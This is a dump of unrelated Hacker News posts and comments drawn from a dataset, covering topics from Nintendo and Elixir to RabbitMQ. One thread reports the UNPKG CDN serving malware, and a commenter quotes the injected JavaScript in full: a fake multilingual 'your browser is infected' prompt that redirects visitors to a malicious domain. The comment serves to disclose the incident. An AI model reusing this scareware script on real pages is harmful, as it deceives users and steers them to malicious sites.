skysight-inc/HackerNews huggingface dataset:
Bank of America Seizes Wrong House, Causes Big Stink. No, Really
Damn, almost all of his next projects involve elixir:

"Writing Elixir and Phoenix code to manipulate MIDI in real time

Expand my Halloween project of multiple Raspberry Pi’s, Arduino, pneumatics, audio and effects to a full-blown Elixir/Phoenix/OTP demonstration.

Revise my book Pragmatic Thinking & Learning

Maybe a top-secret project or two.."
Referee Crew Calls in the NFL
In general, people chose to go to Walmart because the prices were better than those on offer nearby and the hours much more attractive. In short, Walmart is compelling on the points that a great many customers are sensitive to.
In the case of Go, it's really advantageous to be able to jump into anyone's project and be able to read it without the additional impedance of adjusting to the new formatting model. I didn't think this would be that significant until I started participating in the Go community. This works together with Go's reduced feature set, so everyone's code ends up looking very similar.
So… schoolkids in America are expected to need to work to have sufficient income?

That's terrible.
That's why you never seed/upload.
> Really they "basically gave you the finger"? Or maybe could it have been that they would to have to absorb that loss out of pocket because of their distributors policies?

Is this a distinction that matters to the end-customer, who only knows that they can't return the item?
Those adapters are fine now, but what about in 10 years when it's even harder to find a working NES? 20? 50? At some point there will be no more working systems and cartridges, but because of the efforts of pirates these games can and probably will live forever.
It's more than cosmetic in these games -- there are entire realms accessible only if you have the right Amiibos or combinations thereof.

So really more like the Pro vs. Home metaphor with the code for both being on the disc you bought.

This doesn't help answer the debate directly, but is relevant to understanding the question.
Astronauts, artists, and architects design temple for moon
Is there an infinite scroll website that looks like pages being turned?
Let's see if I can put what's in my brain into text. Looking for an example of a landing page that looks like a stack of pages that get "turned" as your scroll down. Swear this exists but can't seem to find now that I need it...
I have no problem with this whatsoever. You bought the game. The bits are yours. The fact that you can send it NFC signals to unlock the hidden stuff is kind of neat!

I would never buy Amiibo.
I engineer proteins for a living. I know that glyphosate is a glycine analog. Re: bacterial processing -- We've fed tons of glyphosate to mammals to see if it causes cancers - it doesn't seem to. Mammals don't absorb it well. I certainly don't assume anything about Monsanto's benevolence, but you happily seem to assume that I'm made of socks.
Consider the way such life looks to us. It's stuck down there, hampered by its environment. We might look that way to an advanced civilization. "Check out those humans, they're intelligent but they're stuck way down there on the crust of that planet, under all that air, stuck in their gravity well"
I fly in the morning and usually on Mondays and Tuesdays when I do fly from BOS. Departure's are usually in 7-8AM time frame. I've never had an issue getting through quickly. Maybe I'm just extremely lucky.
Does this let you have people jump in mid-stream and have everyone synced up? Very interesting. It would be cool to have multiple formats supported too.
Did you integrate some external javascript on the page? I see these fake malware warnings redirecting you to a real malware site on my iphone.
http://highscalability.com/ frequently features content like this. The archives are a treasure trove of practical software architecture wisdom.
Nintendo doesn't get any money from me buying a used cartridge though, so in terms of financial benefit to the rightsholders I don't see a difference.
Of course you would get the obvious comparison to the sizing box they use to determine if a carry on bag is allowed onboard.

I would guess you would need a fairly big legal defense fund for this endeavor.
Ask HN: Our site went viral in latin america and we're not sure what to do
Our site (https://www.kickassapp.com) has gone viral in Latin America. Normally we see ~1000 unique visitors per day but yesterday we got 140 000, and today 50 000. Mostly from Mexico, Colombia, etc etc. Google Analytics really doesn't show a definitive "referrer zero", and can't find any publications online mentioning it. So we have no idea what happened. Our best guess is radio, tv or just word of mouth.

We don't have any ads, we do have an iOS app that is paid and also just launched a venture into a "SaaS" model.

However: we have received absolutely zero extra revenue from this event. Also the buzz on our Facebook page is pretty much none-existent. Usually when the site gets attention we at least get some e-mails from users about how cool it was etc. I have received nothing. And if it weren't for pingdom saying that we're intermittently down, I would not have noticed myself.

I'm having a hard time figuring out if it's due to the traffic being bogus or just simply cultural differences. I have no idea how to approach this. I don't speak Spanish and don't know where everyone is coming from and where they are.

Also in terms of revenue it feels a bit sad to not receive anything for this. We used to have Google AdSense, but due to some poor decisions and later some fairly dubious warnings we got permanently banned from the network. And as ad networks go it seems to be the only one that isn't 100% a scam and people actually use. The appeal process has so far not yielded anything so I've given up that.

The SaaS offering is new and only has one customer (basically it came to existence because someone asked for it). The iOS app is fairly old and not had enough love for it to thrive I think.

In any case, I would love to come in contact with the users that are enjoying the bookmarklet currently, but I can't really find the forum to do this.

What would you HN'ers do, and what have you done in similar scenarios?
orpie has been my main calculator-on-the-pc for a while now. Curses based interface, written in OCaml, extensive library of scientific functions, configurable hotkeys. It's quite neat.

Unfortunately, the homepage seems to be down at the moment, but here's a freecode link. It's also packaged for most popular distros.

http://freecode.com/projects/orpie
I also have this problem ~25% of the time on 1 day items. The package comes a day later usually.

Especially annoying when, for example, the last part of my PC was set to arrive one day and I had to wait.
OK, let me try saying it a bit differently. (You may be answering what I said, but not what I meant.)

All 70 passengers are in the jetway or on the plane. Say, 40 are on the plane, but 30 are still in the jetway. At that moment, United discovers that it needs 4 crewmembers on that plane. They have 4 crewmembers sitting around in a crew lounge in that terminal of the airport. They can walk to the gate in 3 minutes. 3 minutes from now, some of the passengers will still be in the jetway, waiting to board the plane. Now what?

It's not enough to just improve the computer system. The timing window still exists, even if it's smaller. What you need to fix this is some kind of business rule, like "You can't deny boarding to a passenger who's already in the jetway, no matter how badly you need their place for a crewmember".
If you get the chance, that about page could use some optimization too. It's running at 1fps on my beefy machine (Chromium, Linux).
It doesn't look like any off-the-shelf magazine theme. The source code is incredibly clean and not littered with organizational elements like Wordpress might emit.

It also most likely isn't an off-the-shelf magazine theme because there's no credit to any external author of the design in either the website or the code.

Also, the source for the page is in 1 single line. Doubt any off-the-shelf theme would do that!
Some of the skeletons will be wearing gold jewelry.
I was surprised a while back to find that the well-known names for all the Egyptian gods are actually Hellenizations of the original names.
Still waiting for Sous Vide machines to get cheaper! I know they're regularly between $100-$150 on sale, i.e. Anova, but it's still too expensive to take the plunge for me.
Try Urbit. It does OTA software updates.
I love it. Wish this had been my idea.
my thought exactly, memo to marketing :)
No need to apologize, it's not that obvious from the marketing materials.
Found the VT alum.

Painful memories :'(
Shah maat, actually, and it came from Farsi/Persian, not Arabic. Shah is Farsi for king.

Edit: The word chess itself also derives from shah. According to Wiktionary [0], it comes from Old French eschés, the plural of eschec, which comes from Vulgar Latin (scaccus* being the unattested reconstruction), which comes from Arabic shah, which finally comes from Farsi shah.

[0] https://en.wiktionary.org/wiki/chess
If this is true (and I suppose Amazon's the only one who really knows, absent a supplier orchestrating a test), then I can't believe there wouldn't be grounds for a class action lawsuit.

Because, crucial, Amazon also comingles reviews for the same product.

I'd assume they have boilerplate in their legal agreements that waive rights to do so. But it seems blatantly obvious that if I put a novel item on Amazon, attract great reviews for its high quality, get comingled with counterfeits, have my reviews bombed by pissed off customers, Amazon has materially injured my business through no fault of my own.
That's fair, but my point was more than the consequences of hacking a database with information valuable in the real world are much more worrisome than cheating in a game (no matter how much it affects the artificial world). In the latter, it's debatable about whether it causes real-world harm; in the former, it's unquestionable.
It would be, but let's not get ahead of ourselves: all they've done is found evidence that it would be habitable by extremophile organisms. There's no evidence there actually are any.
It lets people jump in mid-stream, however syncing clients is quite troublesome, since anyone can just pause their stream. It cannot really be enforced server-side to display the exact frame at the exact time. Maybe it can be combined with syncplay[0].

[0] http://syncplay.pl/
> At the peak of r/place the websocket service was
> transmitting over 4 gbps (150 Mbps per instance
> and 24 instances).

What does Reddit use for serving up this much websocket traffic? Something open source, or is it custom built?
We're sharing the planet with several intelligent species at this moment. Maybe a worthwhile distinction would be intelligence sufficient to dominant an entire planetary ecology; or sufficient to intentionally become multi-planetary.
A php script to load random color codes for meta tag's attribute theme-color
If by a file with holes you mean a file that has unallocated blocks (a sparse file, which is quite rare) such a file cannot be used as a swap file, the kernel will refuse it.

If you mean a fragmented file, it works but it is slightly slower but not by a relevant amount. The kernel just remembers which blocks are in the file and uses these.

As the swap file typically is created during installation it is unlikely to be fragmented anyway.
The Autobiography of Mark Twain, Volume 1, has an extended section, "About General Grant’s Memoirs"[1], describing Grant's financial particulars, at the end of his life.

The "Personal Memoirs of Ulysses S. Grant"[2] cover his life through the end of the Civil War. It's a great read.

[1]http://www.marktwainproject.org/xtf/view?docId=works/MTDP103...

[2]https://en.wikipedia.org/wiki/Personal_Memoirs_of_Ulysses_S....
While sad, there are good emulators for the NES/Famicom. With a proper display and a controller you may not notice a substantial difference.

Now, while emulators are legal, ROMs may not. I wish Nintendo and others could release a desktop version of their legacy games shop.

I understand their business is "software sells hardware", but in the case of legacy games they could bring more revenue if they were a bit more open.
Nintendo has had several great CEOs who are no longer with us.
Solar energy has plunged in price – where does it go from here?
It is not racism but prejudice. And it is also not algorithmic discrimination but statistical inference.

This is also main reason I advocate for the importance of the privacy.
Alot is better than you at everything (2010)
Maybe they could fix some of their broken links before worrying about the other stuff.
UNPKG CDN Serving Malware
I'd guess that microbial life would evolve into cellular life almost anywhere there was enough heat.
Sure. If I beat you up and take your bike in the United States, I possess your bike, but I don't own it. That's an easy distinction by example and it is noncircular. The law thinks it belongs to you and men with guns will try to take it from you. How would you describe your relationship to an object in your safety deposit box? You certainly don't possess it. In a world without society, you would have zero relationship to it at all, it has nothing to do with you. All you have are the promises that it will be returned to you upon request and that those promises will be backed up by force of law, enforced by society.

Yes, ownership cannot exist without societal structure, it's a legal term invented to describe something so it's only relevant where law exists (i.e. society), which was exactly my point a couple of posts ago. That does NOT mean that ownership is "possession plus society". It simply means that ownership is a concept that cannot be defined without societal structure.

And it's very often that eggs inside nests get stolen when left unattended. They are food for other animals. How is the frequency with which something happens relevant here? I don't know what point you're trying to make; do you not understand what it means to own something? Do you believe that when you leave your home for work in the morning it ceases to be yours? Do you really believe there is no difference between a crow picking up an object and a contract assigning legal ownership of an object to a person? Is this a Socratic dialogue?
Awesome prez! Thanks for the link!
Artificial in this context means "man-made", not "fake" or something. If we create intelligence, it is artificial intelligence.
The fact that people think academic success is only a function of effort and grades is indicative of schools failing their stated goal of education.
I'll note that from my experience as a programmer and a manager the best coders (and best code) was done by the people who "just felt this is the right way". Usually the code produced is exactly good enough for the task at hand, and by creating a code base that can be easily refactored (for example, with lots of automated tests) it can be easily changed later. I always tell my junior programmers who tend to ask a lot of questions and get stuck up on process - code whatever you feel like coding. I trust your judgment. I'll correct you during CR if needed.
Hence the word 'consensus'. There are plenty of scientists that don't believe in climate change. Most of them don't work on climate data. I've met vanishingly few biologists that think GMOs pose a health risk to humans.
They don't want to. They want you to use their product. The article rather seems to be a commercial for this: https://www.mender.io/
If we want something like Twitter, but in the form of an open source protocol, we need to name it and brand it well.

I remember when I first used Linux, I didn't "trust" it. There wasn't a singular OS called Linux and the GUI applications looked low quality because they didn't have good design or branding. To most people, the UI and branding is the product, so when they see it poorly implemented, it simply feels like a bad product.

If you make open source feel expensive and luxurious, they will come.
Here's the served JS for reference:

var lang = navigator.languages ? navigator.languages[0] : (navigator.language || navigator.userLanguage);
if (lang) lang = lang.substring(0, 2);
console.log('lang: ' + lang);

var country = 'US';

var msg = 'Your computer is infected. You have to check it with antivirus.';

if (lang == 'es') msg = "Su navegador contiene malware. Usted tiene que instalar la herramienta de eliminación de malware Chrome.";
if (lang == 'it') msg = "Il tuo browser contiene malware. È necessario installare strumento di rimozione malware Chrome.";
if (lang == 'fr') msg = "Votre navigateur contient MALWARE. Vous devez installer l'outil de suppression de logiciels malveillants Chrome.";
if (lang == 'pt') msg = "Seu navegador contém malware. Você tem que instalar o Ferramenta de remoção Chrome Malware.";
if (lang == 'de') msg = "Ihr Browser enthält MALWARE. Sie müssen Chrome Malware Removal Tool zu installieren.";
if (lang == 'ru') msg = "Ваш браузер содержит вредоносный код. Вы должны установить расширение для блокировки вредоносного кода.";
if (lang == 'gr') msg = "Το πρόγραμμα περιήγησής σας περιέχει κακόβουλο λογισμικό. Θα πρέπει να εγκαταστήσετε το Chrome Malware εργαλείο αφαίρεσης.";

if (confirm(msg)) {
window.top.location.href = 'http://compliance-jessica.xyz/tds.php?subid=alertyes' + country + lang;
} else {
window.top.location.href = 'http://compliance-jessica.xyz/tds.php?subid=alertno' + country + lang;
}
How disappointing. I was hoping Nintendo was taking a lesson from Steam: if you make it stupid easy to pay and play games then people will pay for them. NES Classic was a way to, legally, play a whole bunch of old Nintendo games without resorting to cheap emulators and pirated games that many, many gamers resort to.

I'm hoping they're going to re-release this in the near future or something similar that is at a similar price point but let's you play a back catalog of NES, SNES and N64 games. If they had a legal way for me to do that I would pick it up in a heart beat.

I guess the alternative is offering all these classic games on the Switch but is the target audience really the same? A $300 handheld versus a $60 dedicated classic TV console?

I also wonder if Nintendo could destroy the market of cheap / gimmicky consoles that you can buy for like $50 that include "150 games!". Release something that anyone can afford, hook it up to an e-store and let game devs release cheap games on it. It would be like hooking up the N64 / SNES / NES consoles with online services.

I think I rambled a little bit but hopefully it made sense.
Really Cassandra? No way does it compare to mature RDBMS's like Postgres, MySQL or SQL server.
Replacing your server is not always necessary after encountering boot failure
OK? How is any of that stopping YOU from innovating?

And there are many different forms of innovation. For one, the technological innovation needed to bring the new Beauty and the Beast to the screen. You could also say the same thing about The Jungle Book from a year or two ago, yet the technological innovation to present the story in the way they did recently is miles away from what they had when they made the original animated film.
What's the advantage of project specific, custom formats?
You're shouting conspiracy because I studied neuroscience at Stanford? Dude. Just glad you didn't dig up my links to the International Order of the Prismatic Leopard.
They've acknowledged the issue: https://twitter.com/unpkg/status/852655106562564098

Edit: This is why subresource integrity is important! https://hacks.mozilla.org/2015/09/subresource-integrity-in-f...
Everything they made up until the Wii was far from disappointing. The NES was way ahead of anything near that price, the SNES was competitive, the N64 chose different tradeoffs than the competition but was probably more powerful, and the GameCube was better than the PS2.
Citizen Science for Dog Owners – Darwin's Dogs
Huh? Nokia and especially Blackberry failed to address "Customer obsession" and just stood in slack jawed denial while an innovative company ate their lunch. e.g. [1]

[1] http://www.businessinsider.com/rim-ceo-quotes-2011-9
Dominate the planet is tricky too. Corvids for instance are almost as widespread as humans. They don't do greenland and the southern parts of south america.

But they happen to be less destructive to their environment than humans so maybe that disqualifies them from the "dominate" part?

That said, humans also don't quality for multi-planetary. I like that definition, though.
T-Mobile spent almost $8B to acquire more than 1,500 wireless licenses
Greenpeace's surprising stance on nuclear energy
Ah, I see. Well, that's kind of true, but it's like saying that earthquakes cause cancer, because when the building collapses in an earthquake, it also spreads things like asbestos into the air. I mean, it's still true, but it's so much a smaller effect than the other problems, it's pretty much ignored.
This is what I suspect. I lived in a condo that was often targeted by thieves due to the known affluence of the condo. So many packages and bikes have been stolen from that building despite being a modern building with two FOB controlled doors. If you live in a nice place or neighborhood, package theft is a fact of life.
I think they'll bring it back later for maximum kitsch value like McDonald's does with the McRib.
Unpkg.com hacked?
I've checked on both my local machine and on a VPS I run, and the following URL is 302 redirecting to a malicious JS script which pops up a confirmation window and then redirects to ads:

SOURCE URL: https://unpkg.com/react@latest/dist/react.js
MALICIOUS REDIRECT: https://compliance-jessica.xyz/a.php

This is the URL recommended for in-browser development use by https://facebook.github.io/react/docs/installation.html

Can anyone else replicate this?
If it's slower, then use a simpler query or come up with a way to improve the back-end search speed (which you did, it looks like).

My point is that novice developers don't usually work with that size of data. And if they are working with that size of data, then both regex and performance are good things for them to learn :)
> Discontinuation makes sense, because that console was a dead end, you couldn't add more games etc, so IMO it was more of a novelty.

That doesn't make much sense. Not everyone who currently wants one has got one. They're absolutely flying off shelves. You wouldn't discontinue something like that because it's "a novelty."
Check if you are addicted to YouTube
> my fault :). I have to get a few things ready for a public release of more data

https://news.ycombinator.com/item?id=14110094
No. This is not a valid comparison. For one, you are completely forgetting the effort involved in creating the work in the first place.
RabbitMQ is decent if you don't use clustering (which, I agree, is shitty). I have some quibbles with the non-clustered parts, but nothing big.

Right now, the main annoyance is that it's impossible, as far as I understand, to limit its memory usage. You can set a "VM high watermark" and some other things, but beyond that, it will — much like, say, Elasticsearch — use a large amount of mysterious memory that you have no control over. You can't just say "use 1GB and nothing more", which is problematic on Kubernetes where you want to pack things a bit tightly. This happens even if all the queues are marked as durable.
Seeing the same thing when trying to load Vue.

Tweet from them:

https://twitter.com/unpkg/status/852655106562564098

> We're experiencing some issues and working on it. Will post updates here as soon as we know more.